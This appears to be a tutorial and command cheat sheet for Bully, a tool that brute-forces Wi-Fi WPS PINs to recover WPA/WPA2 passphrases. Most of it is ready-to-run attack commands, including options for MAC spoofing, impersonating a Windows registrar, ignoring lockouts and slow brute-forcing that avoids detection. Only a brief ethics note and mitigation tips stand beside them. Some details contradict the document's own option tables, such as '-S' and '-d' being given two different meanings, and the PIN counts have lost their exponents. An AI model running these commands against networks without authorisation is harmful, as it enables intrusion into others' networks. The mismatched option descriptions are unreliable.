What is Bully?
Bully is a Wi-Fi Protected Setup (WPS) PIN brute-force tool designed to recover WPS PINs and subsequently the WPA/WPA2 passphrases of vulnerable wireless networks. It’s an alternative to tools like Reaver, offering some advantages in speed and reliability against certain router models.
what Bully does and why it’s used:
- Exploiting WPS Vulnerabilities: The core function of Bully is to perform a brute-force attack on the WPS PIN. The WPS PIN is an 8-digit number, but due to a design flaw, the authentication process reveals whether the first four digits are correct independently of the last four. This significantly reduces the number of possible combinations an attacker needs to try. Instead of 108 attempts for an 8-digit PIN, it’s effectively reduced to around 104 (for the first half) + 103 (for the second half, as the 8th digit is a checksum), making the brute-force attack feasible.
- Alternative to Reaver: Bully is a newer implementation of the WPS brute-force attack, often cited as an improvement over the original Reaver tool. It’s written in C and offers advantages like fewer dependencies, improved memory and CPU performance, and more robust options.
- How it Works (Simplified):
- Monitor Mode: Bully requires a wireless interface that supports monitor mode to capture Wi-Fi traffic.
- Target Identification: It identifies WPS-enabled access points.
- PIN Brute-Forcing: Bully then systematically tries different PIN combinations against the target AP.
- WPA PSK Recovery: Once the correct WPS PIN is found, Bully can often recover the WPA/WPA2 Pre-Shared Key (PSK) for the network.
- Pixie-Dust Attack: Bully can also be used in conjunction with “Pixie-Dust” attacks. This is an offline brute-force attack that can be much faster than traditional online WPS PIN brute-forcing if the access point is vulnerable to certain nonce (number used once) generation issues.
- Usage in Penetration Testing: Tools like Bully are used by security professionals for penetration testing and auditing the security of Wi-Fi networks. They help identify if a network is vulnerable to WPS attacks, allowing administrators to take corrective measures.
- Mitigation: The most effective way to prevent WPS attacks is to disable WPS on your router. If disabling WPS isn’t an option, ensure your router’s firmware is up-to-date, as some newer devices might have built-in protections against these specific attacks. Using a strong, unique WPA2 password is also crucial.
Installation
Bully comes pre-installed in Kali Linux. If you need to install or update it:
Bash
sudo apt update
sudo apt install bully
For manual installation from source:
Bash
git clone https://github.com/aanarchyy/bully
cd bully/src
make
sudo make installBasic Usage Examples
Usage:
bully: This is the general syntax for running the tool. You provide various options followed by the name of your wireless interface that must be in monitor mode.interface
Required Arguments:
These are essential for Bully to know what to attack.
- Alternatively, you can specify the ESSID (network name, e.g., “MyHomeWiFi”). If there are multiple APs with the same ESSID, using the BSSID (
-b) is more precise. Example:-e "My WiFi Network"interface: Wireless interface in monitor mode (root required)
- This is your Wi-Fi adapter (e.g.,
wlan0mon,mon0). It must be in monitor mode, which allows it to capture all wireless traffic, not just traffic intended for it. Running in monitor mode typically requires root privileges.-b, --bssid macaddr: MAC address of the target access point
- You can specify the BSSID (MAC address) of the Wi-Fi router you want to target. This is the most common and recommended way to specify the target. Example:
-b 00:11:22:33:44:55-e, --essid string: Extended SSID for the access point
Basic attack against a target AP:
Bash
sudo bully wlan0mon -b 00:11:22:33:44:55Verbose mode with channel specification:
Bash
sudo bully wlan0mon -b 00:11:22:33:44:55 -c 6 -v 3Using a specific PIN database:
Bash
sudo bully wlan0mon -b 00:11:22:33:44:55 -f pin-database.txtAdvanced Usage Examples
Bypassing fake AP detections:
Bash
sudo bully wlan0mon -b 00:11:22:33:44:55 --forceSession resumption (after interruption):
Bash
sudo bully wlan0mon -b 00:11:22:33:44:55 --pixiewps -S session.bullyPixie Dust attack (for vulnerable routers):
Bash
sudo bully wlan0mon -b 00:11:22:33:44:55 --pixiewpsCommand-Line Options
Required Arguments (Must Specify One)
| Option | Description |
|---|---|
-b, --bssid | Target AP’s MAC address (e.g., 00:11:22:33:44:55) |
-e, --essid | Target AP’s SSID (if MAC is unknown) |
Example:
Bash
sudo bully wlan0mon -b 00:11:22:33:44:55Optional Arguments
Basic Options
| Option | Description | Default |
|---|---|---|
-c, --channel N | AP channel (or list, e.g., 1,6,11) | Auto |
-i, --index N | Start at a specific PIN index (7/8 digits) | Auto |
-l, --lockwait N | Wait time if AP locks WPS (seconds) | 43 |
-o, --outfile | Save output to file | stdout |
-p, --pin N | Start with a specific PIN (7/8 digits) | Auto |
-v, --verbosity N | Logging level (1=quiet, 4=debug) | 3 |
-5, --5ghz | Enable 5GHz channel hopping | Disabled |
Example (Target channel 6 with high verbosity):
Bash
sudo bully wlan0mon -b 00:11:22:33:44:55 -c 6 -v 4Brute-Force & Performance
| Option | Description |
|---|---|
-B, --bruteforce | Force-check all PIN checksum digits |
-F, --force | Ignore warnings (e.g., fake AP detection) |
-S, --sequential | Disable PIN randomization |
-T, --test | Dry-run (no packets injected) |
Example (Brute-force mode):
Bash
sudo bully wlan0mon -b 00:11:22:33:44:55 -BAdvanced Arguments
Pixie Dust Attack
| Option | Description |
|---|---|
-d, --pixiewps | Enable Pixie Dust attack (for vulnerable routers) |
Example:
Bash
sudo bully wlan0mon -b 00:11:22:33:44:55 -dMAC Spoofing & Stealth
| Option | Description |
|---|---|
-s, --source | Spoof source MAC address |
-W, --windows7 | Masquerade as Windows 7 registrar |
-P, --probe | Use probe requests for hidden APs |
Example (Spoof MAC and mimic Windows):
Bash
sudo bully wlan0mon -b 00:11:22:33:44:55 -s 66:77:88:99:AA:BB -WLockout Handling
| Option | Description |
|---|---|
-D, --detectlock | Detect AP lockouts (even if unreported) |
-L, --lockignore | Ignore AP-reported lockouts |
Example (Aggressive mode, ignore locks):
Bash
sudo bully wlan0mon -b 00:11:22:33:44:55 -F -LThrottling & Timeouts
| Option | Description |
|---|---|
-1, --pin1delay M,N | Delay M sec every N M5/M7 NACKs |
-2, --pin2delay M,N | Delay M sec every N M5/M7 NACKs |
-Z, --suppress | Disable packet throttling (faster but risky) |
Example (Add delays to avoid lockouts):
Bash
sudo bully wlan0mon -b 00:11:22:33:44:55 -1 2,3 -2 5,1Real-World Use Cases
- Pixie Dust Attack (Fast exploit for vulnerable routers):
Bash
sudo bully wlan0mon -b 00:11:22:33:44:55 -d -v 4- Stealthy PIN Brute-Force (Slow, avoids detection):
Bash
sudo bully wlan0mon -b 00:11:22:33:44:55 -1 5,1 -2 10,1 -S- Resume Interrupted Session:
Bash
sudo bully wlan0mon -b 00:11:22:33:44:55 -p 12345670Troubleshooting Cheatsheet
| Issue | Solution |
|---|---|
| AP not responding | Check channel (-c), enable -P for hidden APs |
| AP locks WPS | Use -l 60 (longer wait) or -L (ignore locks) |
| Low success rate | Try -B (brute-force checksum) or -d (Pixie Dust) |
| Packet injection fails | Verify monitor mode (airmon-ng check kill) |
Troubleshooting Tips
Common Issues and Solutions:
-
Interface not found:
- Ensure your wireless card is in monitor mode (
sudo airmon-ng start wlan0) - Verify interface name with
iwconfig
- Ensure your wireless card is in monitor mode (
-
AP not responding:
- Confirm the AP has WPS enabled
- Check you’re on the correct channel
- Try reducing distance to the AP
-
AP locks WPS:
- Use
-dto add delays between attempts - Try
--pixiewpsif supported - Wait for the lockout period to expire
- Use
-
Low success rate:
- Try different PIN generation strategies (
-Boption) - Use known vendor-specific PIN algorithms
- Try different PIN generation strategies (
-
Pixie Dust not working:
- Confirm the router is vulnerable to Pixie Dust
- Try with
-v 3for detailed error messages
Ethical Considerations
Remember that using Bully against networks you don’t own or have permission to test is illegal in most jurisdictions. Always obtain proper authorization before conducting any wireless security testing.
Best Practices
- Use in controlled environments for legitimate testing only
- Combine with other tools like
washto identify WPS-enabled APs - Document findings for security improvement reports
- Consider router firmware updates that disable WPS as a mitigation
